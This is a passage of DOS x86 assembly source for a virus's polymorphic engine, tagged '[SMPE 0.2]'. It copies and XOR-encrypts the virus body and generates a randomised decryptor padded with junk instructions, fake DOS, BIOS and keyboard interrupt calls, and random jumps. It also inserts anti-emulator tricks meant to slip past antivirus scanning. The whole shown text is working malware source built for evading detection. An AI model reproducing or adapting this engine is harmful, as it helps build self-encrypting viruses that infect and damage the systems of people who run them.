no_more_needed:

        mov     ax,bp

        mov     si,word ptr ds:[pointer_di]     ; calculate pointer on code
        add     ax,di
        cmp     byte ptr ds:[inverse],01h
        jne     lets_cont
        add     ax,word ptr ds:[enc_lenght]
        dec     ax
        dec     ax
lets_cont:
        mov     word ptr es:[si],ax             ; store pointer on code
        sub     ax,bp

;; Decryptor building end

        mov     cx,word ptr ds:[enc_lenght]

        push    cx

        cmp     byte ptr ds:[isword],00h        ; convert lenght in words
        je      go_for_it
        inc     cx
        shr     cx,1
go_for_it:

        mov     si,word ptr ds:[counter_pos]
        mov     word ptr es:[si],cx             ; store lenght

        pop     cx
        mov     dx,cx

        pop     si
        pop     ds
        pop     cx

; Copy code and encrypt it
        push    di
        rep     movsb                             ; copy the virus after
        pop     di

        push    ax
        push    ds
        push    es
        pop     ds
        add     di,offset virus_normal_encrypt_start
        mov     ax,crypt_size/2
        call    enc_dec_smpe                     ; encrypt with the xor
        pop     ds
        pop     ax

        mov     si,ax
        push    ax
        cmp     byte ptr ds:[inverse],01h
        jne     no_decrement_ndd
        mov     byte ptr ds:[first_inc],4eh     ; dec si
no_decrement_ndd:
        cmp     byte ptr ds:[isrolror],00h        ; are we rol(r)ling?
        je      noro
        mov     byte ptr ds:[enc_loop],0d2h       ; first byte for ror/rol
        mov     byte ptr ds:[random_value],90h  ; no random value req
        cmp     byte ptr ds:[isrolror],02h

noro:
        cmp     byte ptr ds:[isword],00h  ; word operations?
        je      pre_enc_loop_one
        mov     ax,dx
        inc     ax
        shr     ax,1
        mov     dx,ax                     ; calculate lenght in words
        inc     byte ptr ds:[enc_loop]    ; put word working opcode
        mov     cl,46h
        cmp     byte ptr ds:[inverse],01h
        jne     ok_no_cl_ch
        add     cl,08h
ok_no_cl_ch:
        mov     byte ptr ds:[second_inc],cl   ; put another inc
pre_enc_loop_one:
        db      0b1h                    ; mov cl,
cl_move db      00h                     ; immediate

        push    es                      ; DS to what we must encrypt
        pop     ds

        jmp     enc_loop                ; cpus rules 4 prefetch

do_inc_pointer:
        call    randomshit              ; some foo instructions
        mov     al,040h                 ; pointer increment
        cmp     byte ptr ds:[inverse],00h
        je      no_decrement
        add     al,08h                  ; dec base
no_decrement:
        add     al,byte ptr ds:[point_reg]
        stosb
        ret

randomshit:
        mov     bx,0fh
        mov     dx,bx
        call    do_random                       ; how much shit
        cmp     al,00h
        je      randomshit
        mov     cl,al
        sub     ch,ch
        call    do_the_random                   ; do shit
        ret

enc_loop:
;        xor     byte ptr ds:[si],immediate
                db      080h
                db      034h            ; real poly encryption
random_value    db      090h
                db      90h             ; random value2

first_inc       db      46h             ; inc si
second_inc      db      90h             ; space for second inc si

        dec     dx
        jnz     enc_loop

        pop     ax

        cmp     byte ptr cs:[inverse],00h       ; from end?
        je      normali
        inc     ax                              ; adjust lenght
        inc     ax
        mov     di,ax
        jmp     after_it
normali:
        mov     di,si
after_it:

        sub     dx,dx                           ; ds:dx = generated code
        mov     cx,di                           ; cx=di=lenght

        call    add_to_cx

        pop     bx

        push    ds
        pop     es

        mov     ah,49h
        call    do_original_21h                 ; deallocate the mem for poly
                                                ; ES still on virus code,
                                                ; but now it isn't allocated
                                                ; any more
        push    cs
        pop     ds
        jmp     enc_dec_smpe_engine             ; encrypt poly and exit

poly_name       db      '[SMPE 0.2]'

add_to_cx:
        in      ax,40h
        and     ax,0111111b                     ; add up to 63 bytes to
        add     cx,ax                           ; the lenght in CX
        ret

do_garbage:

        mov     bx,1fh                  ; max number of garbage i.
        mov     dx,bx
pung:
        call    do_random       ; how much instructions
        cmp     al,00h
        je      pung            ; no 0 instruction allowed!
        mov     cl,al
        sub     ch,ch           ; CX = number of instructions to generate

do_the_random:
        mov     dx,07                           ; used for the random gen
        mov     bx,dx
        call    do_random
        cmp     al,04h                          ; no SP allowed
        je      do_the_random
        cmp     al,byte ptr ds:[count_reg]      ; don't change the counter
        je      do_the_random
        cmp     al,byte ptr ds:[point_reg]      ; don't change the pointer
        je      do_the_random
        cmp     al,byte ptr ds:[nocx]           ; no CX change if used
        je      do_the_random
        xchg    ah,al
        mov     byte ptr ds:[reg8bits],0        ; reset 8 bit marker
        call    select_instruction              ; generate the instuction
        loop    do_the_random                   ; with the selected reg.
        ret

select_instruction:
        push    cx                              ; AH = destination register
        push    ax
        mov     si,offset instructions
redorndin:
        mov     bx,0ah               ; 0Ah basic types of instructions
        mov     dx,0fh               ; don't eliminate some
        call    do_random            ; which instruction will we generate
        cmp     al,byte ptr ds:[last_done]      ; try to change sometime
        je      redorndin
continue:
        mov     byte ptr ds:[last_done],al      ; store type
        add     si,ax                   ; point to the instr. in the table
        cmp     al,1                    ; which instruction
        ja      foo_label
        jmp     one_byte_instruction

foo_label:
        cmp     al,7
        jb      no_3b
        jmp     three_bytes_instruction
no_3b:
        cmp     al,2                    ; which instruction
        je      outta_here
        cmp     al,4
        jne     foo_label_2
        jmp     not_nop
foo_label_2:
        cmp     al,5
        jb      outta_here
        jmp     rolling
outta_here:
        mov     al,byte ptr ds:[si]
        jae     finish_mate
        push    ax
calltheran:
        call    do_random_dx_0f
        mov     cl,al
        cmp     cl,7                            ; is a compare?
        jne     end_cmp_check
        mov     byte ptr ds:[cmp_check],1       ; sign it.
end_cmp_check:
        pop     ax
        call    instr_change

finish_mate:
        stosb                           ; instruction base oc
        call    do_random_dx_0f
        mov     cl,al
        pop     ax
        mov     al,0c0h                 ; op code for reg+instr
        cmp     ah,04
        jae     only16
        push    ax
        call    do_random_dx_0f         ; reg16 or reg8
        mov     ch,al
        pop     ax
        ror     ch,1
        jc      only16
        dec     byte ptr es:[di-1]      ; bytes opcode = word opcode-1
        ror     ch,1
        jnc     only16
        add     al,20h                  ; high 8 bits
        jmp     end_8_bts
only16:
        cmp     byte ptr es:[di-1],08bh ; only if moving
        jne     finishing_mate

        cmp     byte ptr ds:[ds_mody],00h
        je      check_for_es_change
        push    ax
        call    do_random_dx_0f
        cmp     al,02h
        pop     ax
        ja      check_for_es_change
        add     byte ptr es:[di-1],03h
        mov     ah,3                    ; ds has eq second opcode as bx
        jmp     end_8_bts
check_for_es_change:
        cmp     byte ptr ds:[es_mody],00h
        je      end_8_bts
        push    ax
        call    do_random_dx_0f
        cmp     al,05h
        pop     ax
        jb      end_8_bts
        add     byte ptr es:[di-1],03h
        sub     ah,ah                   ; es has eq second opcode as ax
        jmp     end_8_bts

finishing_mate:
        push    ax
        call    do_random_dx_0f
        cmp     al,06h
        pop     ax
        jb      end_8_bts
        mov     al,06h
        stosb
        mov     byte ptr ds:[reg8bits],00h
        jmp     gen_mpos
end_8_bts:
        add     al,cl
        mov     cl,ah
        call    instr_change
stor_chkjmp:
        stosb
        cmp     word ptr ds:[cmp_check],0001    ; encountered a cmp?
        jne     not_comparing                   ; but out of a jmp region?
        call    jumping_zone                    ; no, so do one
not_comparing:
        pop     cx
        ret

one_byte_instruction:
        pop     ax
        mov     al,byte ptr ds:[si]             ; dec/inc generation
        add     al,ah
        stosb
        mov     cl,ah
        call    do_random_dx_0f
        mov     ah,cl
        cmp     al,07h                          ; INT 21h generation?
        jb      nocd21
        call    generate_int
        jmp     no_ah_disp
nocd21:
        mov     cl,06h
        cmp     al,cl
        jb      no_ah_disp
        call    do_antiemulator
no_ah_disp:
        cmp     byte ptr ds:[emu_trick],00h
        je      go_away_now

        in      al,40h
        shr     al,1
        jc      no_cd20
        shr     al,1
        jc      only_a_ret
        mov     ax,20cdh
        jmp     short stor_n_go
only_a_ret:
        mov     al,0c3h
        stosb
        jmp     short exit_exit_put
no_cd20:
        shr     al,1
        jc      with_el
        mov     ax,4cb4h                        ; mov ah,4ch
        jmp     short sto21_n_go
with_el:
        mov     al,0b8h
        stosb
        in      al,40h                          ; random retrun code
        mov     ah,4ch                          ; mov ax,4cxxh
sto21_n_go:
        stosw
        mov     ax,21cdh                        ; int 21h
stor_n_go:
        stosw
exit_exit_put:
        mov     byte ptr ds:[emu_trick],00h
go_away_now:
        pop     cx
        ret

not_nop:
        mov     al,0f7h                         ; not/neg
        stosb
        call    do_random_dx_0f
        mov     cl,al
        pop     ax
        push    cx
        mov     al,byte ptr ds:[si]             ; basic opcode
        add     al,ah                           ; register dependant
        shr     cl,1
        jc      isneg
        add     al,08h                          ; change to not
isneg:
        pop     cx
        cmp     byte ptr ds:[push_nr],2         ; max pushes nested
        ja      nopush
        cmp     cl,2
        ja      nopush
        jmp     dopushpop                       ; do push
nopush:
        stosb
        pop     cx
        ret

rolling:
        mov     al,byte ptr ds:[si]
        stosb                           ; rol/ror... base oc
        mov     al,0c0h
        call    do_random_dx_0f
        mov     cl,al
        pop     ax
        cmp     cl,06h
        jne     no_increment
        inc     cl
no_increment:
        mov     al,0c0h                 ; the base
        call    conv16to8               ; 8 or 16 bit instruction?
        add     al,ah
        call    instr_change
        stosb                           ; write the reg/op dipendant byte
        pop     cx
        ret

three_bytes_instruction:
        cmp     al,8                    ;mov reg,immediate
        je      doalea
        cmp     al,9                    ;mov reg,[imm]
        je      domemcp
        cmp     al,0ah
        je      do_real_lea
        mov     al,083h                 ; write the fixed first byte
        stosb
reget:
        call    do_random_dx_0f         ; select which 3 bytes to do
        mov     cl,al
        cmp     cl,7
        jne     end_cmp_imm_check
        mov     byte ptr ds:[cmp_check],1
        jmp     short end_cmp_imm_check

do_compare:
        push    cx
        call    do_random_dx_0f
        cmp     ah,04h
        je      do_compare
        push    ax
        mov     al,83h
        stosb
        mov     cl,7
        mov     al,0c0h
        jmp     short jch_npt

end_cmp_imm_check:
        mov     al,byte ptr ds:[si]
jch_npt:
        call    instr_change            ; generate instruction
        mov     bl,al
        pop     ax
        mov     al,bl
        call    conv16to8               ; 16 or 8 bit instruction?
        add     al,ah
        stosb
        mov     bx,0ffh                 ; select the random immediate
        mov     dx,bx
        call    do_random
        jmp     stor_chkjmp             ; check for cmp and store

doalea:
        mov     cl,0b8h
        pop     ax
        cmp     ah,4                    ; may we create a 8 bit mov?
        jae     mov16breg               ; yeah, so select randomly which
        push    ax
        in      al,40h
        ror     al,1
        jnc     dowith16b
        mov     byte ptr ds:[reg8bits],1
        mov     cl,0b0h                 ; mov reg8_low,imm
        ror     al,1
        jnc     dowith16b
        add     cl,4                    ; high 8 bits
dowith16b:
        pop     ax
mov16breg:
        mov     al,cl
        add     al,ah
        stosb                           ; mov reg,immediate
        jmp     gen_mpos

do_real_lea:
        mov     al,08dh                 ; store first lea byte
        stosb
        pop     ax                      ; ah = used register
        mov     cl,ah
        mov     al,06h
        call    instr_change
        stosb
        jmp     gen_mpos

domemcp:
        in      al,40h                  ; select segment
        shr     al,1
        jnc     no_seg_change           ; nc? only DS:
        shr     al,1
        jc      change_to_cs            ; c? put CS:
        mov     al,026h                 ; nc? put ES:
        stosb
        jmp     no_seg_change
change_to_cs:
        mov     al,02eh                 ; CS:
        stosb
no_seg_change:
        mov     al,08bh
        stosb                           ; mov reg,seg:[imm]
        pop     ax
        mov     cl,ah

        mov     al,06h
        call    instr_change
        stosb

gen_mpos:
        mov     bx,07fffh                 ;select immediate
        mov     dx,bx
        call    do_random
        stosb
        xchg    al,ah
        cmp     byte ptr ds:[reg8bits],1
        je      no_2_imms               ; was an 8 bit instruction?
        stosb
no_2_imms:
        pop     cx
        ret

do_random_dx_0f:
        mov     bx,07h
        mov     dx,bx
do_random:
        call    real_random
        cmp     al,byte ptr ds:[last_random]    ; equal as last used?
        jne     isokrandom
        call    real_random
isokrandom:
        mov     byte ptr ds:[last_random],al
        ret

last_random     db      0ffh

real_random:
        in      al,40h
        mov     ah,al
        in      al,40h
        ror     al,2
        xor     al,ah
        and     ax,dx
        cmp     ax,bx
        ja      real_random
end_real_random:
        ret

instr_change:
        cmp     cl,00h                  ; generate new instruction
        je      finish_instr_change     ; based on input register.
        add     al,08h
        dec     cl
        jmp     instr_change
finish_instr_change:
        ret

conv16to8:
        cmp     ah,4
        jae     avante                  ; only from ax to dx
        push    ax
        call    do_random_dx_0f
        mov     ch,al
        ror     ch,1
        pop     ax
        jnc     avante                  ; do 8 or 16?
        sub     byte ptr es:[di-1],1
        ror     ch,1
        jnc     avante
        add     al,04                   ; low 8 bits or high 8?
avante:
        ret

int10_16:
        cmp     ch,0ch
        ja      no_get_cpos
        mov     ah,03h                  ; Get cursor position
        jmp     store_int_10
no_get_cpos:
        cmp     ch,0dh
        ja      no_int10
        mov     ah,0fh                  ; Get current video mode
        jmp     store_int_10
no_int10:
        cmp     ch,0eh
        ja      no_get_keystroke
        mov     ah,01h                  ; Get Keystroke
        push    ax
        in      al,40h
        rol     al,1
        pop     ax
        jc      store_int_16
        inc     ah                      ; Get shift states
        jmp     store_int_16
no_get_keystroke:
        mov     ah,09h                  ; Get KBD functionality
        push    ax
        in      al,40h
        mov     cl,al
        rol     cl,1
        pop     ax
        jc      store_int_16
        inc     ah                      ; get KBD id
        rol     cl,1
        jc      store_int_16
        add     ah,07h                  ; check for keystroke
store_int_16:
        stosw
        mov     ax,16cdh                ; int 16h
        jmp     sto_n_xit
store_int_10:
        stosw
        mov     ax,10cdh                ; int 10h
sto_n_xit:
        stosw
        jmp     look_4_int_jmp


generate_int:
doint:
        dec     di
        mov     bx,0fh
        mov     dx,bx
        call    do_random
        mov     ch,al                           ; rnd in ch
        mov     al,0b4h                         ; MOV ah,
        cmp     byte ptr ds:[nocx],01h
        je      go_on_ah
        cmp     byte ptr ds:[count_reg],02h
        jbe     go_on_ah                        ; togli se non usi AX x cnt
        cmp     byte ptr ds:[count_reg],03h     ; is BX as counter?
        je      lamah_jump
        cmp     byte ptr ds:[point_reg],03h     ; is BX as pointer?
lamah_jump:
        je      intwithacd                      ; those with AX,CX,DX
        cmp     ch,1
        jbe     es_bx_oper
        cmp     ch,0ch
        jae     int10_16
        cmp     ch,0bh
        jae     es_bx_oper
        cmp     ch,4
        jbe     intwithacd
        cmp     ch,6
        jbe     go_on_ah
        cmp     ch,9
        ja      allocmem
        cmp     ch,7
        je      getpsp
        mov     ah,30h                          ; dos version
        jmp     storeandint
go_on_ah:
        jmp     onlyahint
es_bx_oper:
        cmp     byte ptr ds:[es_mody],00h
        je      no_es_modify
        cmp     ch,0bh
        jb      no_get_dta
        ja      get_indos_flag
        mov     ah,02fh                         ; get dta
        jmp     storeandint
get_indos_flag:
        mov     ah,034h
        jmp     storeandint                     ; get address indos flag
no_get_dta:
        cmp     ch,00h
        je      getintvec
        mov     ah,52h                          ; get list of the lists
        jmp     storeandint
getintvec:
        mov     ah,35h                          ; getintvec
        jmp     storeandint
no_es_modify:
        cmp     ch,0bh
        je      space_stuff
        cmp     ch,00h
        je      another_one
        mov     ah,51h                          ; get psp adress
        jmp     storeandint
space_stuff:
        mov     ah,36h                          ; get free disk space C:
        stosw
        mov     ax,03b2h                         ; mov dl,03
        jmp     storeandint
another_one:
        mov     al,0b8h
        stosb
        mov     ax,6601h                        ; get codepage
        jmp     storeandint
getpsp:
        mov     ah,62h                          ; get psp
        jmp     storeandint
intwithacd:
        cmp     ch,3
        jae     getbdrive
        mov     ah,06h                          ; ah=06h
        stosw
        mov     al,0b2h                         ; mov dl
        mov     ah,0ffh                         ; ffh
        jmp     storeandint
allocmem:
        mov     ah,48h                          ; allocate mem
        stosw
        mov     al,0bbh                         ; in bx max mem avaiable
        stosb
        sub     ax,ax
        dec     ax                              ; bx=ffffh
        jmp     storeandint
getbdrive:
        mov     al,0b8h
        stosb
        mov     ax,3305h
        cmp     ch,4
        je      storeandint
        sub     al,al
        mov     ah,058h
        jmp     storeandint
onlyahint:
        mov     bx,02h
        mov     dx,03h
        push    ax
        call    do_random
        mov     ch,al
        pop     ax
okah:
        cmp     ch,1
        je      getcdrive
        cmp     ch,2
        je      getveryfl
        mov     ah,0bh                          ; get stdin status
        jmp     storeandint
getveryfl:
        mov     ah,054h                         ; get verify flag
        jmp     storeandint
getcdrive:
        mov     ah,019h                         ; get default drive
storeandint:
        stosw
        mov     ax,021cdh                       ; int 21h
        stosw
look_4_int_jmp:
        cmp     byte ptr ds:[cmp_check],1
        je      icantint
        in      al,40h
        rol     al,1
        jc      icantint
        mov     byte ptr ds:[cmp_check],1
        call    do_compare
icantint:
        ret

dopushpop:
        dec     di
        inc     byte ptr ds:[push_nr]   ; increment the numba of pushes
        push    ax

        mov     bx,0ah
        mov     dx,0fh
        call    do_random

        xchg    al,ah

        cmp     ah,08h
        jb      no_segment_push
        mov     al,06h                  ; push es
        cmp     ah,08h
        je      add_n_store
        add     al,08h                  ; push cs
        cmp     ah,09h
        je      add_n_store
        add     al,10h                  ; push ds
        jmp     short add_n_store
no_segment_push:
        mov     al,50h                  ; push a reg
        add     al,ah
add_n_store:
        stosb
        call    random_foo_instructions ; some shit between

        call    do_random_dx_0f

        cmp     al,06h
        pop     ax
        jb      no_pop_segment

        mov     al,07h                  ; pop es
        cmp     byte ptr ds:[es_mody],00h
        je      try_pop_ds
        push    ax
        in      al,40h                  ; cdanncaddacnjdcanjndca
        ror     al,1
        pop     ax
        jc      store_pop
try_pop_ds:
        add     al,18h                  ; pop ds
        cmp     byte ptr ds:[ds_mody],00h
        jne     store_pop
no_pop_segment:
        mov     al,58h                  ; pop with the selected one
        add     al,ah
store_pop:
        stosb
        pop     cx
        dec     byte ptr ds:[push_nr]   ; number of pushes curr. active
        ret

jumping_zone:
        mov     byte ptr ds:[cmp_check2],1      ; lock jumping
        mov     bx,06h
        mov     dx,07h
        call    do_random
        cmp     al,06h
        jne     conditional_jump
jump_short_crea:
        mov     al,0ebh                         ; jmp short
        jmp     store_jump
conditional_jump:
        mov     ah,al                           ; jmp type
        mov     al,72h                          ; jmp base
        add     al,ah
store_jump:
        stosb                                   ; write jmp
retry_cond_jump:
        push    di
        stosb                                   ; where will jump
        call    random_foo_instructions
        mov     ax,di
        pop     di
        push    ax
        sub     ax,di
        dec     ax
        cmp     ax,7fh
        jbe     ok_lenght_jump
        pop     ax
        jmp     retry_cond_jump
ok_lenght_jump:
        stosb                                   ; put the bytes to jump
        pop     di
        mov     byte ptr ds:[cmp_check],0       ; reset both checks
        mov     byte ptr ds:[cmp_check2],0
        ret

random_foo_instructions:
        call    do_random_dx_0f         ; how much foo
        cmp     al,0
        je      random_foo_instructions
        cmp     byte ptr ds:[emu_trick],01h
        jne     no_Adding
        inc     al
        inc     al

no_Adding:
        mov     cl,al
        sub     ch,ch
        call    do_the_random           ; generate foo instructions
        ret

ob_oc   db      98h,0f8h,0cch,0f9h,0fch,0fdh,0f5h,0cch  ; one byters

one_byters:
        call    do_random_dx_0f
        sub     ah,ah
        mov     bx,offset ob_oc
        add     bx,ax
        mov     al,byte ptr ds:[bx]
        stosb
        ret

do_antiemulator:
        cmp     byte ptr ds:[cmp_check2],01h
        jne     cont_antiemu
        jmp     end_antiemu

cont_antiemu:
        mov     cl,ah
        call    do_random_dx_0f
        mov     ah,cl
        cmp     al,02h
        je      get_bdrive
        cmp     byte ptr ds:[nocx],01h
        je      cant_use
        cmp     byte ptr ds:[count_reg],01h ; cx
        jne     canuse
cant_use:
        jmp     end_antiemu
canuse:
        cmp     al,01h
        je      get_dos_ver
        cmp     al,06h
        jae     set_wrong_time
        cmp     al,03h
        je      one_byters
        jmp     do_a_call

set_wrong_time:
        cmp     al,06h
        je      withcl
        mov     ah,0b5h                 ; mov ch,
        mov     dl,19h
        jmp     short get_rnd_tset
withcl:
        mov     ah,0b1h                 ; mov cl,
        mov     dl,03dh
get_rnd_tset:
        in      al,40h
        cmp     al,dl
        jb      get_rnd_tset
        xchg    al,ah                   ; store the mov
        stosw

        mov     byte ptr ds:[nocx],01h  ; enable no cx change
        call    random_foo_instructions ; garbage instructions
        mov     byte ptr ds:[nocx],0ffh ; enable cx changing
        mov     ax,2db4h                ; mov ah,2dh
        stosw
        xor     dl,dl                   ; test al
        xor     dh,dh                   ; compare with 0
        mov     cl,03h                  ; jne
        jmp     store_and_jump



get_dos_ver:
        cmp     byte ptr ds:[count_reg],03h ; bx
        je      end_antiemu
        cmp     byte ptr ds:[point_reg],03h
        je      end_antiemu

        mov     ax,30b4h                ; get dos version
        stosw
        mov     cl,01h                  ; JAE
        in      al,40h
        ror     al,1
        jc      ok_this
        add     cl,04h                  ; JA
ok_this:
        and     al,011b                 ; 0 - 3
        mov     dh,al
        xor     dl,dl
        mov     cl,01h
        jmp     store_and_jump

get_bdrive:
        cmp     byte ptr ds:[count_reg],02h  ; is dx usable?
        je      end_antiemu

        mov     al,0b8h                 ; mov ax,
        stosb
        mov     ax,3305h                ; get boot drive
        stosw
        mov     dl,02h                  ; check DL
        xor     dh,dh                   ; compare with 00h
        mov     cl,03h                  ; JNE

store_and_jump:
        mov     ax,21cdh                ; int 21h
        stosw
        mov     al,82h                  ; cmp
        stosb
        mov     al,0f8h                 ; cmp base
        add     al,dl                   ; dl contains register
        mov     ah,dh                   ; dh contains value
        stosw
        mov     byte ptr ds:[emu_trick],01h
        mov     byte ptr ds:[cmp_check2],01h
        mov     al,cl                  ; cl contains type of jump
        call    conditional_jump
        mov     byte ptr ds:[emu_trick],00h
        mov     byte ptr ds:[cmp_check2],00h

end_antiemu:
        ret

do_a_call:
        push    ax
        mov     al,0e8h                 ; make a CALL
        stosb
        push    di
        stosw
        call    random_foo_instructions ; some shit
        pop     si
        mov     cx,di
        sub     cx,si                   ; calculate offset
        dec     cx
        dec     cx
        mov     word ptr es:[si],cx     ; here we will CALL
        call    random_foo_instructions ; again some shit
        inc     byte ptr ds:[push_nr]
        pop     ax                      ; AH = usable register
        push    cx
        jmp     no_pop_segment          ; pop the IP

instructions:

; the data below this line is of use by the poly to create some of the
; various possible operations on registers in the trash generation part

;ONE BYTE ONLY
inc_16       db      040h    ; INC REG16
dec_16       db      048h    ; DEC REG16
mov_rr16     db      08bh    ; general first byte
; + 0 (03h) ADD
; + 8 (0bh) OR
; + 10 (13h) ADC
; + 18 (1bh) SBB
; + 20 (23h) AND
; + 28 (2bh) SUB
; + 30 (33h) XOR
; + 38 (3bh) CMP
math_rr16    db      03h    ; basic opcode
not_neg      db      0d0h
rot_1        db      0d1h    ; ROL/ROR/SHL/SHR/RCR/RCL/SAR/SAL REG16,1
rot_cl       db      0d3h    ; ROL REG16,CL
; +0h (0c0h)     ADD
; +8h (0c8h)     OR
; +10h (0d0h)    ADC
; +18h (0d8h)    SBB
; +20h (0e0h)    AND
; +28h (0e8h)    SUB
; +30h (0f0h)    XOR
; +38h (0f8h)    CMP
add_r16i     db      0c0h    ; ADD REG16,IMMEDIATE 2 byte
lea_reg      db      0b8h    ; LEA REG16,something

smpe_encrypted_end:

; Poly data start - This will be only in memory!

poly_data_mem:

enc_lenght      dw      00h
last_done       db      00h
reg8bits        db      00h
cmp_check       db      00h
cmp_check2      db      00h
count_reg       db     0ffh
point_reg       db     0ffh
pointer_di      dw      00h
secphs          dw      00h
isword          db      00h
isrolror        db      00h
push_nr         db      00h
can_doda        db      00h
es_mody         db      00h     ; 00 don't modify, 01 can modify
ds_mody         db      00h     ; 00 don't modify, 01 can modify
counter_pos     dw      00h
emu_trick       db      00h
inverse         db      00h
nocx            db     0ffh
seg_sta         db     0ffh
; Poly data end

poly_data_mem_end:

